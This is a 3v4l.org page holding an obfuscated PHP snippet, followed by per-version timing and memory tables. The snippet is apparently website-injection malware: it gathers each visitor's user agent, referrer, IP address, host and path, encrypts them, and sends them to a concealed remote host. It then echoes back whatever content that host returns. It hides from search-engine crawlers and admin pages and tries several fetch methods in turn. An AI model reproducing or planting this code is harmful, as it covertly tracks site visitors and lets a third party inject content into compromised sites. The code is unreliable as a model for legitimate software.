3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0180.00316.75
8.3.60.0120.00616.60
8.3.50.0130.00722.84
8.3.40.0060.01618.79
8.3.30.0040.01119.29
8.3.20.0090.00020.35
8.3.10.0030.00620.61
8.3.00.0040.00419.25
8.2.180.0150.00016.75
8.2.170.0070.00722.96
8.2.160.0140.00420.52
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0080.00020.95
8.2.110.0030.00622.32
8.2.100.0040.00817.97
8.2.90.0030.00517.88
8.2.80.0030.00518.05
8.2.70.0030.00518.18
8.2.60.0060.00318.18
8.2.50.0000.01018.15
8.2.40.0030.00620.55
8.2.30.0040.00419.60
8.2.20.0000.00717.87
8.2.10.0040.00418.20
8.2.00.0080.00017.75
8.1.280.0160.00625.92
8.1.270.0040.00423.73
8.1.260.0030.00626.35
8.1.250.0040.00428.09
8.1.240.0060.00323.92
8.1.230.0000.01219.24
8.1.220.0060.00317.91
8.1.210.0040.00418.77
8.1.200.0000.01217.35
8.1.190.0030.00617.35
8.1.180.0050.00318.10
8.1.170.0080.00018.72
8.1.160.0030.00622.17
8.1.150.0000.00818.93
8.1.140.0040.00417.45
8.1.130.0030.00317.91
8.1.120.0020.00517.60
8.1.110.0000.00717.56
8.1.100.0070.00017.55
8.1.90.0060.00517.62
8.1.80.0040.00417.42
8.1.70.0000.00717.56
8.1.60.0080.00017.72
8.1.50.0030.00517.65
8.1.40.0040.00417.64
8.1.30.0050.00317.66
8.1.20.0000.00817.79
8.1.10.0000.00917.58
8.1.00.0030.00617.50
8.0.300.0070.00319.85
8.0.290.0040.00417.00
8.0.280.0050.00218.59
8.0.270.0040.00417.29
8.0.260.0040.00417.30
8.0.250.0030.00316.99
8.0.240.0000.00817.09
8.0.230.0070.00017.02
8.0.220.0040.00416.92
8.0.210.0030.00316.99
8.0.200.0000.00717.07
8.0.190.0000.00816.96
8.0.180.0000.00717.04
8.0.170.0000.00817.07
8.0.160.0050.00216.96
8.0.150.0060.00316.87
8.0.140.0030.00516.86
8.0.130.0000.00713.42
8.0.120.0030.00716.87
8.0.110.0050.00217.00
8.0.100.0000.00816.97
8.0.90.0070.00017.04
8.0.80.0130.00317.00
8.0.70.0080.00017.04
8.0.60.0040.00416.86
8.0.50.0040.00416.92
8.0.30.0110.01117.25
8.0.20.0160.00517.40
8.0.10.0050.00316.99
8.0.00.0080.01217.07
7.4.330.0050.00015.02
7.4.320.0030.00316.53
7.4.300.0000.00616.61
7.4.290.0000.00816.64
7.4.280.0060.00316.77
7.4.270.0080.00016.72
7.4.260.0060.00316.68
7.4.250.0050.00216.64
7.4.240.0000.00816.76
7.4.230.0030.00316.54
7.4.220.0090.00916.68
7.4.210.0090.01216.73
7.4.200.0040.00416.72
7.4.160.0060.01016.57
7.4.150.0000.01817.40
7.4.140.0140.00617.86
7.4.130.0070.01216.64
7.4.120.0100.00716.60
7.4.110.0100.00716.93
7.4.100.0070.01116.48
7.4.90.0040.01316.42
7.4.80.0130.00519.39
7.4.70.0150.00716.67
7.4.60.0090.00616.47
7.4.50.0000.00716.61
7.4.40.0080.01116.70
7.4.30.0170.00316.58
7.4.00.0060.00915.11
7.3.330.0070.00013.36
7.3.320.0060.00013.50
7.3.310.0070.00016.49
7.3.300.0000.00716.37
7.3.290.0090.00616.46
7.3.280.0070.00916.43
7.3.270.0090.00917.40
7.3.260.0140.00416.42
7.3.250.0070.01016.50
7.3.240.0100.01016.61
7.3.230.0090.00916.45
7.3.210.0100.01316.37
7.3.200.0090.00619.39
7.3.190.0120.01016.42
7.3.180.0130.00316.50
7.3.170.0150.00716.54
7.3.160.0120.00416.66
7.3.120.0070.01114.73
7.3.110.0070.01114.80
7.3.100.0060.00915.11
7.3.90.0040.01414.69
7.3.80.0030.01014.81
7.3.70.0030.01415.14
7.3.60.0000.01415.16
7.3.50.0050.00514.82
7.3.40.0060.00614.94
7.3.30.0060.01214.93
7.3.20.0070.01116.67
7.3.10.0060.00916.60
7.3.00.0070.01116.46
7.2.330.0130.01016.62
7.2.320.0170.00016.91
7.2.310.0100.00716.94
7.2.300.0030.01416.82
7.2.290.0100.00716.93
7.2.250.0070.01315.27
7.2.240.0100.01015.21
7.2.230.0100.00715.10
7.2.220.0100.01015.14
7.2.210.0090.00614.75
7.2.200.0040.01414.81
7.2.190.0070.01315.30
7.2.180.0110.00315.10
7.2.170.0030.01015.07
7.2.60.0080.00516.71
7.2.00.0040.00819.59
7.1.330.0030.01015.76
7.1.320.0080.00815.81
7.1.310.0000.01815.71
7.1.300.0030.00615.61
7.1.290.0070.00715.89
7.1.280.0090.00915.88
7.1.270.0080.00815.80
7.1.260.0060.00615.57
7.1.200.0040.00815.80
7.1.100.0050.00318.04
7.1.70.0000.00717.23
7.1.60.0060.01919.61
7.1.50.0070.01716.92
7.1.00.0000.08322.33
7.0.200.0050.00216.83
7.0.140.0000.08022.10
7.0.100.0170.07720.05
7.0.90.0200.07320.03
7.0.80.0100.08319.96
7.0.70.0170.07320.08
7.0.60.0130.08020.00
7.0.50.0200.08020.45
7.0.40.0030.07020.10
7.0.30.0130.08320.05
7.0.20.0070.09020.13
7.0.10.0070.08720.10
7.0.00.0030.06020.03
5.6.280.0070.07020.82
5.6.250.0130.07020.56
5.6.240.0170.07020.71
5.6.230.0000.08720.70
5.6.220.0100.07720.64
5.6.210.0070.08020.72
5.6.200.0070.08721.15
5.6.190.0070.08321.01
5.6.180.0170.07321.11
5.6.170.0170.07721.08
5.6.160.0100.07721.10
5.6.150.0100.08321.11
5.6.140.0100.06021.08
5.6.130.0070.08721.11
5.6.120.0130.07320.99
5.6.110.0070.08021.00
5.6.100.0070.08021.07
5.6.90.0100.08021.14
5.6.80.0000.09720.55
5.6.70.0130.07320.46
5.6.60.0070.05020.37
5.6.50.0170.07020.39
5.6.40.0100.07720.45
5.6.30.0170.06720.52
5.6.20.0100.07720.34
5.6.10.0130.07320.44
5.6.00.0200.06720.45
5.5.380.0070.08320.52
5.5.370.0070.04020.51
5.5.360.0070.08720.48
5.5.350.0130.07720.48
5.5.340.0170.07320.86
5.5.330.0030.08320.95
5.5.320.0130.07321.00
5.5.310.0030.07320.70
5.5.300.0200.07320.80
5.5.290.0100.08720.95
5.5.280.0130.08020.89
5.5.270.0070.09320.82
5.5.260.0070.08320.83
5.5.250.0030.08320.68
5.5.240.0070.07720.21
5.5.230.0100.07320.25
5.5.220.0070.07720.30
5.5.210.0030.05320.18
5.5.200.0100.08020.25
5.5.190.0100.07720.30
5.5.180.0100.07720.34
5.5.160.0170.06320.19
5.5.150.0070.08320.21
5.5.140.0070.08320.32
5.5.130.0130.06720.25
5.5.120.0030.07320.30
5.5.110.0100.07720.21
5.5.100.0130.04020.14
5.5.90.0100.07020.16
5.5.80.0070.07720.11
5.5.70.0000.06320.22
5.5.60.0170.07020.13
5.5.50.0030.06320.11
5.5.40.0100.06320.09
5.5.30.0130.04320.13
5.5.20.0130.07720.11
5.5.10.0000.08320.14
5.5.00.0100.07720.03
5.4.450.0100.07719.21
5.4.440.0070.08019.54
5.4.430.0030.08319.42
5.4.420.0100.08319.51
5.4.410.0130.07019.05
5.4.400.0070.07019.22
5.4.390.0030.08019.13
5.4.380.0100.06718.91
5.4.370.0100.07319.14
5.4.360.0030.08018.89
5.4.350.0070.06718.95
5.4.340.0130.07718.89
5.4.320.0000.07319.04
5.4.310.0100.07718.89
5.4.300.0070.07719.14
5.4.290.0100.06719.04
5.4.280.0070.07319.23
5.4.270.0030.08319.04
5.4.260.0130.06718.96
5.4.250.0170.03719.03
5.4.240.0000.05018.84
5.4.230.0000.05719.04
5.4.220.0200.03719.14
5.4.210.0070.08018.85
5.4.200.0000.06319.12
5.4.190.0070.07318.88
5.4.180.0100.04019.09
5.4.170.0030.08019.20
5.4.160.0000.07719.03
5.4.150.0000.05719.02
5.4.140.0070.06716.50
5.4.130.0100.07316.50
5.4.120.0100.06716.52
5.4.110.0030.05316.46
5.4.100.0030.07316.42
5.4.90.0030.07316.55
5.4.80.0000.08316.32
5.4.70.0070.07016.36
5.4.60.0100.07016.43
5.4.50.0130.07316.52
5.4.40.0130.03716.47
5.4.30.0100.06016.54
5.4.20.0070.03716.50
5.4.10.0030.04716.30
5.4.00.0100.07315.93

preferences:
63.4 ms | 401 KiB | 5 Q